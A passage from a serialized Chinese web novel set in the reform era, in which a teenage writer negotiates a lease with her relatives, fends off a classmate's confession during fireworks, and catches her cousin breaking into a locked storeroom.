赵红梅低下头,声音越来越小:“我……我能干啥呀?我又不像你,能写书、能赚钱。我就会踩缝纫机,我妈说,女孩子家,干得好不如嫁得好,让我赶紧找个正式工嫁了,这辈子就安稳了。” 时墨皱了皱眉,停下脚步,认真地看着她:“二姐,你比我大好几岁呢,怎么比我还没主意?你要是喜欢做衣服,就去学裁缝;喜欢算账,就去学会计;喜欢看书,就去书店找份工作。你才二十二,日子还长着呢,怎么就先把自己框死了?” 赵红梅抬起头,眼睛里有点茫然,也有点心动:“我……我真能行吗?” “怎么不行?”时墨笑了,“你看我,也就是个普通学生。你不试试,怎么知道自己不行?” “二姐,嫁得好不如自己干得好。靠谁都不如靠自己,你会踩缝纫机,针线活做得好,这就是本事。现在政策放开了,你可以自己做衣服、做窗帘、做被罩,拿到市场上去卖,不比在厂里当临时工强?前门大街好多女个体户开服装店、裁缝铺,做的衣服时髦,生意好得很,一个月赚的比工人半年工资都多,腰杆也硬,谁都不敢小瞧。” 赵红梅抬起头,眼睛里有点茫然,也有点心动:“我……我真能行吗?我从来没做过买卖,我爸妈也肯定不同意,说女孩子抛头露面做买卖,丢人。” “有什么不行的?”时墨笑了,“你大哥都想着出来卖菜闯一闯了,你怎么就不行?先从小的做起,给街坊邻居做件衣服、改个裤子,收点手工费,慢慢攒钱,攒够了本钱,再租个小摊位,一步一步来。路是自己走出来的,不是别人说出来的。” 赵红梅手指绞着衣角,没说话,但眼睛里有什么东西在慢慢亮起来。 几个人逛到胡同口的糖葫芦摊,时墨瞥了一眼蔫头耷脑的赵虎,从兜里掏出五毛钱,递给摊主:“来五串糖葫芦,挑糖多的。” “好嘞,姑娘你放心,咱家糖都多!” 赵虎愣了一下,接过糖葫芦,不敢看她,蚊子似的小声说了句“谢谢墨墨姐”,就埋头啃起来,再也不敢像之前那样咋咋呼呼。 时墨没理他,咬了一口糖葫芦,酸甜的滋味在嘴里化开。 几个人逛了一圈,天快黑了才往回走。 走到家属院楼下,赵海霖拉住时墨,小声说:“墨墨,今天的事,真对不住。虎子那孩子,回去我肯定好好管他。” 时墨摆摆手:“过去了,不提了。” 赵海霖松了口气,又压低声音,试探着问:“那租房的事……” 时墨看了他一眼,正要说话,楼上窗户“啪”地推开了,李秀兰探出头来喊:“回来了?快上来吃饭!菜都热好了!” 时墨应了一声,抬头往楼上看了一眼。 暮色里,各家各户的窗户都亮着灯,饭菜的香味飘了一院子。 她收回目光,往楼上走。赵海霖跟在后面,还想再说什么,被媳妇王桂英拉了一把,使了个眼色,便闭了嘴。 赵红梅走在时墨身边,小声说:“墨墨,你说的那些话,我回去好好想想。” 时墨鼓励道:“想好了就去做,有什么难处,跟我说。” 赵红梅点点头,感动的眼圈又红了。 到了门口,时墨刚要推门,就听见屋里传来时爱国的声音:“这房子的事,还是得跟墨墨商量商量,毕竟是她花钱买的……” 时墨的手停在门把手上,心里忽然有了点不好的预感。 她回头看了一眼,赵海霖正站在楼梯口,脸上带着笑,不知道在想什么。赵虎缩在他身后,低着头,手里还攥着那根就剩一颗山楂的糖葫芦。 赵虎现在正敏感着,突然察觉到时墨看他,赶紧抬头,嘴上还黏着糖渣,冲时墨露出笑着问:“墨墨姐,啥事?” “你嘴上粘糖回屋洗洗。”时墨随口扯了句。 “嗯。”赵虎乖乖点头。 屋里,时爱国又说了句什么,声音低了下去,听不清了。 时墨深吸一口气,推开了门—— 作者有话说:最近加班,码完字都一两点,昨天没撑住睡过去了,今天发晚了。我如果早上没准时发,肯定就下午晚上发了,不会断更的! 第63章 屋里暖烘烘的, 饭菜的香味扑面而来,刚炖好的大骨头酸菜汤咕嘟咕嘟冒着泡,大姑和大姑父正坐在沙发上, 跟时爱国唠嗑, 面前摆着瓜子花生, 看见他们进来, 立刻热情地迎了上来。 “哎哟,墨墨回来了!逛累了吧?外面冷,快坐下喝口热水暖暖手!”大姑一把拉着时墨的手,脸上的笑比下午那会儿真诚多了,语气里带着几分讨好, “今天虎子这事, 大姑真对不住你,回去我肯定拿皮带抽他, 好好管管这没规矩的东西!” 时墨笑着抽回手, 客气道:“大姑,都过去了。” 大姑点点头, 转头就对着大儿子赵海霖道:“海霖, 你可得好好跟墨墨学学!你看你妹妹多有出息!才十八九岁, 靠写书赚稿费, 就把妈和你二舅以前住的老院里那几户房子全买下来了!现在可是正经的房主!你还天天愁没地方落脚, 这不现成的房子就在这儿吗!” 这话一出,赵海霖愣住了,眼睛瞪得溜圆, 满脸的不敢置信:“妈,你说啥?那整个院子都是墨墨买的?” “可不是嘛!”大姑说得眉飞色舞,声音都高了八度, “刚才你二舅跟我们说,现在整个院子都是你小妹儿的!还有一间房正空着呢!” 赵海霖又惊又喜,转头看向时墨,语气里满是佩服:“墨墨,你这也太厉害了!我刚才在外面还跟你说租房的事,没想到那院子都是你的!” 时墨瞥了她爸一眼。时爱国心虚地端起茶杯喝了一口水,眼神飘向别处——刚才跟大姐唠嗑,说到激动处,嘴没把门的,就把闺女买房的事给秃噜出去了。 这消息透得太不是时候了,她本来想先跟爸妈商量好口径再说,现在大姑直接把话挑明了,她连个缓冲的余地都没有。 “嗨,就是赶巧了。”时墨脸上依旧带着笑,不慌不忙地把话头稳稳地兜了回来:“之前院里的住户急着出手,我手里正好有点写书攒的稿费,就凑钱买下来了。不过我今年就要高考了,所有精力都得放在学习上,这些房子的事,我一概不插手,全是我妈在管,海霖哥你租房具体的事,还得问我妈,我可做不了主。” 李秀兰正端着一盘冻梨从厨房出来,听见这话,看了时墨一眼,心里就有数了——这丫头是把球踢给她,让她来唱这个黑脸。 李秀兰立马笑着接过话茬,把冻梨往桌上一放:“可不是嘛,这丫头就管出钱,剩下的烂摊子全是我的。租给谁、多少钱、怎么签合同,全是我盯着,她连钥匙都没碰过过几回,就是个甩手掌柜。” 赵海霖连忙凑到李秀兰身边,语气诚恳又带着期待:“二舅妈,您也知道,我这开春就想在城里卖菜,正愁没个落脚的地方。刚才在街上我也跟墨墨说了,想租咱们院里空着的那间小屋,就放放菜、歇歇脚,偶尔住一晚。您放心,房租绝对按市价给,一分都不少您的!” 王桂英也连忙跟着上前,笑着给李秀兰递了杯刚晾好的温水,软声软语地说:“二舅妈,我们俩肯定好好爱惜房子,屋里的东西一点都不会乱动,坏了我们原价赔,卫生也天天打扫,绝不给您添麻烦。” 她说着又夸起时墨来:“墨墨真是有本事,小小年纪就能挣钱买房,我们家那几个,加一起都比不上她一个零头。您和二舅好福气,养了这么个省心又出息的好闺女。” 这话说得漂亮,李秀兰听着心里舒坦,但嘴上还是谦虚:“嗨,她也就是运气好。你们年轻人现在也赶上好政策了,自己做买卖,只要肯干,肯定比上班挣得多。” 大姑赶紧接话,屁股往李秀兰那边挪了挪:“就是就是!弟妹你说得太对了!海霖就是看现在政策好,想出来闯闯。就是刚开始做,本钱紧,手里没多少活钱,你看这房租……能不能稍微便宜点?都是一家人,互相帮衬帮衬嘛。” 李秀兰接过水杯,放在桌上,脸上带着笑,心里却门儿清。这亲戚间的生意,最是难办,谈钱伤感情,不谈钱又容易落埋怨,更何况这房子是闺女花钱买的,她绝不能让闺女吃亏。 她笑呵呵地开口,话说得滴水不漏:“大姐,自家人当然要照顾。海霖有这份心闯事业,我这个当舅妈的肯定支持,哪能让你们按市价给?肯定要给你们打折的。那个房子地方也不大,本来市价一个月差不多二十块,我给你们算十块钱一个月,水电你们自己用多少交多少,就当我和你二舅支持你们小两口创业了。” 海霖和王桂英对视一眼,脸上都露出了喜色。十块钱一个月,在城里,跟白给没什么区别,别说放菜住人,就是只堆东西,都划算得不行。 “二舅妈!太谢谢您了!您可真是帮了我们大忙了!”海霖激动得声音都高了,“您放心,我们肯定好好爱惜房子,绝不给您惹事!” 大姑也笑得合不拢嘴,连连拍着李秀兰的手:“弟妹!还是你明事理!太谢谢你了!我就说,还是自家人靠得住!” “先别谢我。”李秀兰话锋一转,脸上的笑依旧,语气却认真了几分,“大姐,海霖,咱们亲戚归亲戚,生意归生意。为了防止以后因为钱的事闹不愉快,咱们还是走正规程序,签个租房合同。” 李秀兰把条款一条条说清楚,半点不含糊:“合同里写清楚,租期先签半年,房租按月交,屋里的东西列个清单,坏了、丢了要照价赔偿,不能在屋里干违法乱纪的事,也不能私自转租给别人。不是二舅妈信不过你们,是先把丑话说在前头,规矩定明白了,以后免得因为这点钱,伤了咱们姐弟、亲戚的情分,你们说是不是这个理?” “签合同?一家人还用签那个?”大姑脸上的笑瞬间僵了一下,显然没想到还要签合同,觉得都是一家人,搞这么生分,脸上有点挂不住。 “大姐,”李秀兰笑着拍拍她的手,语气却很坚定,“正因为是一家人,才要把事情做清楚。你看胡同里那些租房打出狗脑子的,哪家不是一开始觉得‘都是熟人不好意思说’?咱们把规矩立在前头,往后才能和和气气的,不生分。” 赵海霖反应快,立刻就点头应了,半点犹豫都没有:“应该的!二舅妈您说得太对了!亲兄弟还明算账呢,规矩定清楚了,以后才没矛盾!您放心,合同怎么写,我们就怎么来,绝不含糊!” 他心里清楚,二舅妈给的价格已经很低了,签个合同算什么?别说签合同,就是让他交押金,他都一百个愿意。 时芳华还想说什么,被赵德柱拦住了:“听弟妹的,签合同是正理,就该这么办。” “二舅妈,那咱们现在就签?”赵海霖急着把这事定下来,生怕夜长梦多。 李秀兰瞥了一眼旁边的时墨,见闺女没吭声,便笑着摆了摆手:“不急,房子什么样你们还没看呢,里面堆了点旧家具、纸箱子,也不知道合不合用。明天上午咱们一起去看看房子,你觉得合适了再签也不迟。房子空了挺久,得让你亲眼看看,别到时候住进去觉得哪哪都不对付,心里别扭。” 大姑立刻接话,满不在乎道:“嗨,看什么看!都自己家的房子,还有什么不合用的!对了弟妹,你看我们这一家子,今天过来也没找住处,旅馆一晚上好几块钱呢,怪浪费的。你看能不能……建军那屋不是大吗?让海霖他们小两口跟建军挤挤,我和你姑父睡沙发,虎子在地上打个地铺,这不就住下了?” 时芳华这话一说,屋里瞬间安静了一下。 还没等李秀兰开口,大姑父赵德柱脸都红了,一把狠狠拽了大姑一把,脸上挂不住了:“你瞎说什么!咱们家这么多人,二弟家怎么住得下?你不嫌挤,人家还嫌不方便呢!不就几块钱吗?该花的钱就得花,别在这儿给二弟弟妹添麻烦!” 大姑还想再说什么,被大姑父一个眼神瞪回去了,不情不愿地闭了嘴,嘴里还小声嘟囔了一句。 “姐,姐夫,你们别客气,实在不行,我和儿子打地铺,让孩子们住屋里。”时爱国连忙开口,他念着当年大姐赚钱供他读书的情分,实在抹不开面子。 “不用不用!”大姑父连忙摆手,态度坚决,“我们自己找旅馆就行,不麻烦你们。” “大姑,大姑父,我知道附近有家国营旅馆,干净便宜,一晚上八毛钱一个床位,有热水有暖气,特别划算,我带你们去。”时建军立刻接话,他早就看出来爸妈为难,正好找个台阶下。 大姑一听八毛钱一个床位,也不闹着要住家里了。 晚饭是王桂英张罗的,李秀兰想帮忙都插不上手。姑娘手脚麻利,切菜、炒菜、和面,样样都拿得起来,还跟着李秀兰学做炸酱,一边澥黄酱一边问:“二舅妈,这黄酱是不是得先用水澥两遍?我听人家说,炸酱,澥酱是最关键的,是不是这么个理儿?” “对,得澥两遍,第一遍澥开了,炸到一半再澥一次,炸出来的酱才香,不发苦。”李秀兰笑着指点,越看这孩子越满意。 一顿饭做得色香味俱全,酸菜炖骨头、炸酱面、炸耦合、炒合菜,满满一桌子,热热闹闹地摆上了桌。 饭桌上,时爱国和大姑聊着年轻时候的事,说着当年时芳华为了供弟弟读书,自己去厂里上班,把工资寄给家里,时爱国说着说着就红了眼眶,端起酒杯跟大姐碰了一杯:“姐,当年要不是你,我根本读不完书,这辈子都记着你的情。” 大姑也红了眼,摆了摆手:“说这些干啥,你是我弟弟,我不帮你帮谁?现在你日子过好了,孩子们也出息了,姐比谁都高兴。” “桂英这媳妇,真是没得说。”大姑在 客厅坐着,嘴上聊起孩子们的事,一桌子人又都眉开眼笑的,夸时建军进了研究所端上了铁饭碗,夸时墨成了小有名气的作家,夸赵海霖有闯劲敢创业,一顿饭吃得和和美美,之前的不愉快也散了大半。 时墨坐在边上,有一搭没一搭地听着,心里却在盘算那间房的事。 吃完饭,碗筷刚收拾完,门口就响起了敲门声,紧接着传来秦野的声音,带着少年人的爽朗和急切:“时墨,我是秦野!” 时墨这才想起秦野约好今天放烟花的事,连忙应了一声:“来了!” 她转头对赵红梅说:“二姐,走,下楼放烟花去。” 赵红梅眼睛一亮:“好啊!我长这么大,还没放过几回烟花呢!” “我也去我也去!”赵虎立刻凑了过来,刚才饭桌上的蔫劲儿一扫而光,眼睛里全是期待。时建军也拿了火柴和打火机,几个人呼啦啦往出走。 秦野站看见时墨出来,脸上的笑就止不住了。 “你还真准时。”时墨笑着一起下楼。 “那必须的,说好的七点,绝不能迟到。”秦野笑得露出一口白牙,目光扫过跟在时墨身后出来的时建军、赵红梅,还有跟屁虫似的赵虎,愣了一下,随即笑着打招呼,“建军哥也在啊,这两位是?” “我大姑家的表哥表姐,还有表弟。”时墨简单介绍了一句,又指了指秦野,“秦野,我同学。” “姐姐好,弟弟好!”秦野立刻热情地招呼起来,从袋子里掏出一把烟花棒,又拿出几个“地老鼠”、“窜天猴”,还有一盒“降落伞”,都是时下最时兴的样式。 “我特意去菜市口那边买的,比咱们这边供销社卖的好看多了,拿着玩,别客气。”秦野把东西分给众人。 赵虎看见这么多烟花,眼睛都直了,刚才的小心翼翼全没了。挑了几个最大的窜天猴,就跑到一边去点,兴奋得嗷嗷叫。 赵红梅接过几根烟花棒,不好意思地笑了笑:谢谢你啊,还让你破费了。” 家属院的空地上,不少邻居都在放烟花,噼里啪啦的声响里,烟花一簇簇窜上夜空,炸开五颜六色的花火,映得每个人的脸都明明暗暗的。 秦野站在时墨身边,看着她仰头看烟花的侧脸,睫毛被火光映得忽闪忽闪的,他喉结动了动,手心都攥出了汗。 “时墨,”秦野的声音不大,带着点紧张,“我有话跟你说。” 时墨笑着转头看他,烟花的光在她眼睛里闪了一下:“什么话?” 秦野鼓足了勇气,正要开口—— “砰!” 赵虎点着一个“地老鼠”,在地上疯狂转了几圈,突然失控,直直地朝着这边窜了过来,火星子溅了秦野一裤腿,吓得赵红梅尖叫一声往后跳,时建军眼疾手快,一脚把那玩意儿踢飞了出去,在远处炸开了花。 赵虎拍着巴掌在旁边笑,被时建军一巴掌拍在后脑勺上:“看着点!往人堆里窜了没看见?!” 秦野到了嘴边的告白,硬生生被噎了回去,只能无奈地地拍了拍裤腿上的火星子,把准备好的话又咽了回去。 赵虎跑过来,一眼就看见了胡同口停着的黑色小轿车,眼睛瞪大了,不可思议道:“秦野哥!那是你的车?!” “嗯,我爸的司机送我过来的。”秦野淡淡应了一句,目光依旧落在时墨身上,不想多聊这个话题。 “这车看着可真漂亮!”赵虎又凑到时墨身边,一脸八卦,“墨墨姐,你朋友可真有钱!” 时墨瞥了他一眼,没接话。 赵虎在时墨那儿碰了壁,转头热情地围着秦野问东问西,一会儿问车能不能坐,一会儿问这车多少钱,跟个小尾巴似的,甩都甩不掉。 秦野一开始还应付两句,后来看时墨对赵虎态度平平,也就淡了热情,不再搭理他,转头凑到时墨身边,聊起了她感兴趣的话题。 “对了时墨,我爸上周去南部出差,带回来几本香江的收藏杂志,里面有好多瓷器、字画的介绍,还有最近的拍卖行情,我给你带来了,明天给你送过来。” “真的?那太好了!”时墨惊喜道,现在内地的收藏类杂志少得可怜,香江的杂志里有不少前沿的收藏知识和市场行情,正是她需要的。 “我爸说,现在南方那边搞建设,好多老宅子要拆,里面流出来不少好东西。他有个朋友在那边做工程,你要是感兴趣,回头可以帮你留意着。” 秦野看着她眼睛亮起来的样子,自己也跟着高兴,又顺势聊起了南方的发展,“我爸说,现在深市、珠海那边发展得特别快,国家给了好多政策,好多人都去那边做买卖,赚了大钱。我爸妈希望我明年考大学,报经济专业,他们说,以后国家肯定需要懂经济的人才。你觉得呢?” 秦野的语气里带着少年人的认真和忐忑,生怕自己的想法被她否定。 时墨看着他,心里暗暗点头。这孩子的父母,眼光是真的超前,现在就知道让孩子学经济,不是一般人家能有的见识。 “你爸妈说得对。”时墨认真道,“以后国家发展,最缺的就是懂经济、懂管理的人才。你要是真对这个感兴趣,好好学,前途无量。” 秦野眼睛亮了:“你也这么觉得?” “当然。”时墨笑道,“现在改革开放,市场经济刚起步,以后的机会多得很。你学好了,比什么都强。” 时墨随口说了几句后世的基本常识——什么“供需关系”、“市场定位”、“成本控制”之类的,都是些皮毛,但在这个年代听起来,已经足够新鲜了。 秦野听得眼睛越来越亮,只觉得时墨说的每一句话,都说到了点子上,比他爸讲的还明白。 时墨心里却在盘算别的。她太清楚接下来几十年,南方经济特区会迎来怎样翻天覆地的变化,这里面藏着多大的红利。 可她现在,只能靠着系统捡漏、写书赚点钱,根本碰不了那些大额的、长线的投资,系统卡得死死的,超过限额就得挨罚。 【系统……】 时墨话还没说,系统就察觉到了她的意图,立刻跳出来泼冷水:【宿主,房产投资属于高风险资产增值行为,严重违反“躺平”原则。除非是自住用房,但您现在的资产限额不足以购买房产地皮。】 时墨看了一眼自己账户里多出来的一千多块额度,心里叹了口气。这点钱,确实不够干啥的。 除非……找个靠谱的合伙人,绑定利益共同体。 结婚,是最稳妥的绑定方式。 这个念头刚冒出来,就被时墨压下去了。想什么呢。 秦野还在旁边说着自己对未来的规划,眼里满是少年人的意气风发,最后问了一句:“时墨,等我们俩都考上首都大学,你能不能给我一个追求你的机会?” 时墨心里正想着事,随口敷衍着“嗯”了一声。 秦野瞬间眼睛亮了,一把抓住她的手腕,激动得声音都抖了:“时墨!你答应了?!” 时墨愣了一下,回过神来:“啊?我答应什么了?” “你答应我,等我们俩都考上首都大学,你就给我一个追求你的机会!”秦野的脸涨得通红,眼睛里满是期待,紧紧盯着她的脸,生怕她说出一个不字。 周围烟花炸开的声音噼里啪啦的,赵虎在不远处尖叫着放窜天猴,赵红梅和时建军在点带“降落伞”的烟花,没人注意到这边的动静。 时墨重新审视起眼前的少年。 秦野长得俊朗,家世好,人聪明上进,对她也足够上心。不管是谈恋爱还是结婚,都是顶好的人选。 可他太年轻了。 现在才十八岁,就算考上大学,也要四年才能毕业,等他真正能掌控家里的资源、能独当一面,少说要五六年,多则八九年。 这几年,改革开放的浪潮一波接一波,市场风云变幻,等他长大,最好的时机早就过去了,黄花菜都凉了。 她等不起。 “秦野。”时墨笑着轻轻抽回自己的手,斟酌着措辞:“你现在想这些,太早了。先好好准备高考,等真的考上首都大学,再说别的……” 这话没答应,也没拒绝,给了少年一点念想,也留足了余地。 秦野失落了一瞬,但很快又打起了精神,只要时墨没拒绝,就给了他机会。 他用力点了点头:“你放心!我肯定能考上!” 又聊了没一会儿,秦野家的司机过来催他回家,他才依依不舍地走了,走之前还反复叮嘱,明天一定把杂志给她送过来。 秦野一走,赵虎就好奇地凑到时墨身边,挤眉弄眼地问:“墨墨姐,他是不是喜欢你啊?他家是不是特别有钱?还有小轿车呢!” 时墨一个眼神扫过去,赵虎立刻闭嘴,缩着脖子跑了。 晚上,大姑一家要走的时候,跟时家敲定了明天上午十点去看房,又说了几句客气话,就回旅馆休息去了。 大姑一家一走,时家四口立刻关上门,坐在沙发上,说起了今天的事。 “这房子的事怪我嘴快,把墨墨买房的事给秃噜出去了。”时爱国就叹了口气,满脸愧疚道:“这房子租出去容易,以后想收回来,或者涨房租,可就难了。还有那个赵虎,手欠得很,万一在院里惹点事,怎么办?” “爸,说都说了,现在纠结这个也没用。关键是接下来怎么办。”时墨给他倒了杯热茶,语气很平静。 李秀兰坐在沙发上,揉了揉太阳穴:“你大姑那个人,你也看见了,什么都好,就是爱占小便宜。今天房租的事,她还想再压价,要不是你姑父拦着,指不定还要说什么。” “所以合同必须签,而且要签得明明白白。”时墨点了点头,语气不容置疑,“海霖哥是个稳当人,想正经做买卖,租给他没问题,就是丑话必须说在前头。妈,明天签合同,一定要公事公办,租期、房租、水电、损坏赔偿、违约责任,还有‘不得私自转租、不得带无关人员进院、不得随意改动房屋结构’,这些都要写得清清楚楚,签字按手印,一式两份,谁也赖不掉。” “放心吧闺女,妈心里有数。”李秀兰点了点头,“我今天说十块钱一个月,已经是看在亲戚的情分上,做了最大的让步了,别的方面,绝不能再松口。合同你今天晚上写好,妈明天按着你写的来,半分都不含糊。” 时建军在旁也不好意思地说:“妹,今天是不是我说错话了?我不该提张寡妇那间房的事……” “没事哥。”时墨看了他一眼,笑着安慰道:“你也是好心,但好心容易办坏事。以后这种涉及到钱和房子的事,先跟家里商量商量,再往外说。” 时建军点点头,一脸认真道:“是我欠考虑了,以后绝对不会了。” “行了,都别想了。”时爱国摆摆手,“明天的事明天再说,都早点睡。墨墨你也别熬太晚,合同简单写写就行,别太费神。” 时墨回了屋,用了半个多小时,写了两份规规矩矩的租房合同,把所有能想到的细节、条款,尤其是禁止带无关人员留宿的条款,全都写得清楚明白。 第二天上午十点,大姑一家准时到了时家,一行人拿着合同、印泥,直奔胡同里的老四合院。 李秀兰打开张寡妇那间小屋的门,里面堆着一些旧家具、纸箱子,腾出来大半间屋子,放菜、住人完全够用。房子窗户朝南,白天能进太阳,就是墙皮掉了些,屋顶有两处漏雨的地方,墙角还有点返潮的痕迹。 赵海霖里里外外看了一圈,又看了下院子里的水龙头、电表,连连点头:“这房子太合适了,安静,离菜市场也近,周围住户也多。二舅妈,咱们现在就签合同!” 大姑围着屋子转了一圈,皱着眉开口了,语气带着点商量:“弟妹,你看这房子,墙皮也掉了,回头我们得刮腻子,屋顶漏雨还得铺油毡,这都得花钱!你看这房租,能不能再便宜点?一个月八块行不行?” 李秀兰笑着,不紧不慢地说:“大姐,合同上写的十块钱,已经是亲戚价了。你去胡同里打听打听,这么大的房子,带院子带水龙头,谁家不是十五、二十一个月?” 时墨早就料到大姑会砍价,出门前就找了个借口,让她爸留在家里,说昨晚喝酒喝多了,头疼起不来,就是为了让他避开这场拉扯,免得他抹不开面子,不好拒绝大姐。 大姑父一听这话,脸上瞬间挂不住了,狠狠拉了媳妇一把:“你别在这儿丢人现眼了!十块钱已经够便宜了,还砍什么价!就按合同来!” “爸,妈,这价格已经特别划算了!”王桂英也连忙劝道,声音温温柔柔的,“咱们昨天问的旅馆,一个床位一晚上八毛,一个月下来都要二十多,这房子一个月十块,很便宜了!” 赵海霖也赶紧说:“妈,我自己修修就行。二舅妈已经够照顾我们了!就按合同上的来,今天就签!” 李秀兰从包里拿出合同和印泥,笑着说:“行,那咱们现在就签。大姐,你也看看,条款都写得明明白白,有什么不明白的,现在就问。” 大姑翻了翻合同,还是不死心,又道:“那……弟妹,你看我们家海霖刚创业,手里紧,前几天收拾房子,也住不了,能不能给我们免三天房租?就当给孩子们一个缓冲期,让他们收拾收拾房子?” 李秀兰爽快应了:“行!就给你们免三天!从初四开始算房租!” 正说着,院里另外两家租户听见动静,开门出来看热闹。租东屋的老李头披着棉袄,笑呵呵地问:“秀兰,来新邻居了?” 李秀兰笑着说:“可不是嘛,我外甥,过几天搬过来住。” 老李头看了看赵海霖,点点头:“小伙子不错,看着就精神。这房子李姐收拾得挺好,住着舒服。” 西屋的张大婶也出来了,嘴快:“李姐可是个好房东,我们在这儿住了大半年,从来没涨过房租。你们是一家人,那就更没得说了!以后你在这儿住,咱们就是邻居了,有啥事尽管说!” 赵海霖也笑着跟邻居们打招呼:“爷爷阿姨好,以后咱们就是邻居了,我每天凌晨拉新鲜菜回来,院里的街坊想吃菜,直接跟我说就行,我比菜市场便宜,还新鲜,绝对不缺斤短两!” 老李头和张大婶都乐了:“那可太好了!以后买菜方便了!” 签合同的时候,时芳华又想说什么,被赵德柱一个眼神瞪了回去,讪讪地闭了嘴。 赵海霖仔仔细细看完,二话不说,在合同上签了名字,按了红手印,又把第一个月的十块钱房租,恭恭敬敬地递给了李秀兰。 签完合同,赵海霖和王桂英就留了下来,说要先收拾屋子,把里面的旧东西挪出去,打扫卫生。 赵红梅跟着爸妈一起回去联系村里的菜农,提前说好收菜的事。 临走前,大姑对着赵虎喊:“虎子,走,回去了!你手还没好呢,在这儿也帮不上忙,别给你哥添乱!” “我不回去!”赵虎头摇得跟拨浪鼓似的,“我要留在这儿,帮我哥收拾房子!我能干点轻活,擦桌子扫地总能行!” 他嘴上说着帮忙,眼睛却滴溜溜地在院里乱转,一会儿看看东屋的老李头养的鸟,一会儿瞅瞅西屋张大婶种的花,显然是觉得城里新鲜,不想回乡下那个小村子。 大姑父看了他一眼,知道这孩子就是想留下玩,也没拆穿,摆了摆手:“行了,就让他留下吧,让他帮着他哥嫂子干点活,别瞎跑惹事就行。” 大姑不情不愿地叮嘱了赵虎几句,什么不许乱跑、不许拿别人东西、不许跟人打架,临走时,又拉着时墨的手,千叮咛万嘱咐:“墨墨,你大哥在这儿,人生地不熟的,你多照看着点。有什么不懂的,你多教教他……” 时墨笑着点头:“大姑你放心,都是一家人,能帮的肯定帮。” 送走了大姑他们,院里渐渐安静下来。 赵海霖和王桂英在屋里忙活开了,搬东西、扫灰、擦窗户,叮叮当当地响,两口子一边干活一边商量着怎么布置。 时墨站在院子里,看着那间小屋的屋顶,心里盘算着:回头得找人来修修屋顶,墙也得重新刷一遍。赵海霖刚做买卖,手头紧,能帮一把是一把,只要人实在,规矩,亲戚间互相帮衬也没什么。 赵虎嘴里说着帮忙,却在院里瞎溜达,东看看西瞅瞅,一会儿踢踢墙根的石头,一会儿扒扒邻居家的窗户,闲得发慌。赵海霖喊他搬东西,他应一声,搬两下又溜出去了。 溜达着溜达着,他就走到了院子最里面的角落,那里有个不起眼的木门,门板上落满了灰,挂着一把生锈的大铁锁,锁扣都锈透了。 赵虎凑过去,拽了拽锁,没想到那锁早就锈死了,被他一拽,“咔哒”一声,锁扣直接断了,半截铁扣掉在地上,溅起一小片灰。 木门吱呀一声,开了一条缝。 一股尘封多年的霉味,混着淡淡的木头香气,从门缝里飘了出来。 赵虎眼睛瞬间亮了,左右看了看,他哥嫂子在屋里收拾,时墨正站在院子门口跟邻居说话,根本没注意到这边。 他咽了口唾沫,心跳得咚咚的。猫着腰,伸手把门又推开些,侧身挤了进去。里面黑黢黢的,只有门缝里透进来一点光,照出满屋子的灰。 赵虎摸着黑,往里头走了一步,脚下踢到一个什么东西,哐当一声响,在安静的仓房里格外刺耳。 他吓了一跳,赶紧蹲下来,大气都不敢出,快速朝外面瞧一眼。 外面,时墨听见动静,转过头看了一眼。 仓房的门虚掩着,像是被风吹开的。 “赵虎?”她喊了一声。 没人应。 院里空荡荡的,赵海霖两口子还在西屋忙活,叮叮当当的锤子声盖过了其他动静。 时墨皱了皱眉,往仓房那边走了两步。 “赵虎?你在那边吗?” 还是没人应。 她站在院子中间,看着那扇虚掩的木门,心里忽然有点不太好的预感—— 作者有话说:凌晨睡觉冻醒了,懒得开空调继续睡,结果早上起来冻感冒了,今天脑子昏沉沉的发晚了。大家开春一定要注意保暖,别学我TAT 第64章 时墨快步朝着仓房走了过去。 赵虎看见她过来, 瞬间慌了神,手忙脚乱地从仓房里钻出来,头发上、肩膀上落满了灰, 脸上蹭了一道黑印子, 裤脚还沾着仓房里的陈年锯末, 脸上还带着做贼心虚的慌张。 他脚不自觉地往后挪, 整个人挡在仓房门前,干笑着打哈哈:“墨、墨墨姐,你咋过来了?” “我问你,你在里面干什么了?”时墨的声音很平,却带着一股压人的寒气, 眼神像刀子似的刮在他脸上。 “我没干什么啊!”赵虎嘴硬得很, 眼神躲躲闪闪,“这门锁一碰就掉了, 可不是我撬开的!我看门开了, 就好奇推开看看里面有啥,结果里面就是一堆破木头、烂箱子, 啥值钱的都没有, 我可什么都没碰!真的!” 他说着还往旁边让了让, 装作坦荡的样子, 像是要证明自己没说谎。 时墨没跟他废话, 伸手一把将他扒拉到一边,力道大得赵虎一个趔趄。 她伸手推开了虚掩的仓房门,里面昏暗的光线透出来, 角落里的旧家具、木板被挪动了位置,樟木箱的锁扣被掰得变了形,地上散落着几片木屑, 明眼人一看就知道被人翻过。 她转过身,眼神冰冷地盯着赵虎:“赵虎,你站着别动,再说一遍,你碰没碰里面的东西?” 赵虎被她看得浑身发毛,往后退了一步,嘴还硬着:“我、我真没碰啥……不就挪了下箱子吗?又没拿东西!” “哥,海霖哥!你们过来一下!”时墨没再跟他掰扯,扬声喊了一嗓子,声音清亮,整个院子都听得见。 时建军和赵海霖听见动静,手里的抹布都没来得及放下,撂下手里的活就冲了出来。 “咋了妹?出啥事了?”时建军跑过来,一眼就看见开着的仓房门,还有一脸心虚的赵虎,瞬间就明白了,脸一下子沉得能滴出水来。 赵海霖还不明所以,看看弟弟又看看时墨,皱着眉问:“墨墨,咋回事?这小子又惹祸了?” “海霖哥,我刚才亲眼看着赵虎从这锁着的仓房里钻出来。”时墨指着那扇虚掩的木门,目光落在赵海霖身上,语气严肃,半点情面都没留,“仓房的锁坏了,里面的东西也被翻了。丑话我今天说在前头,这院子里,除了你们租的那间屋,剩下的地界,还有院里四家租户的屋子,全是私人地界。今天赵虎能撬开我锁着的仓房,明天他就敢翻进邻居家!” 她瞥了一眼缩着脖子的赵虎,声音更冷了几分:“今天这事,我看在你和大姑父的面子上,东西没丢,我就不追究了。但以后,这院里但凡有一户人家丢了东西、坏了物件,只要跟你们家沾边,我绝对秉公办理,该报警报警,该赔偿赔偿,绝不会因为亲戚情分留半分情面。这话我今天撂在这儿,你们自己掂量。” 时墨目光扫过那把断了锁扣的锁道:“还有,这仓房的锁,还有被掰坏的箱子锁,你得照价赔给我。” 这话说得半点不客气,却句句在理,挑不出一丝错处。 “墨墨,你放心!这事是虎子不对,该赔多少,我们一分都不少!是我没看好他,给你惹麻烦了,我给你赔不是!”赵海霖的脸涨得通红,又是愧疚又是愤怒,他今天真是脸都被这弟弟丢尽了。 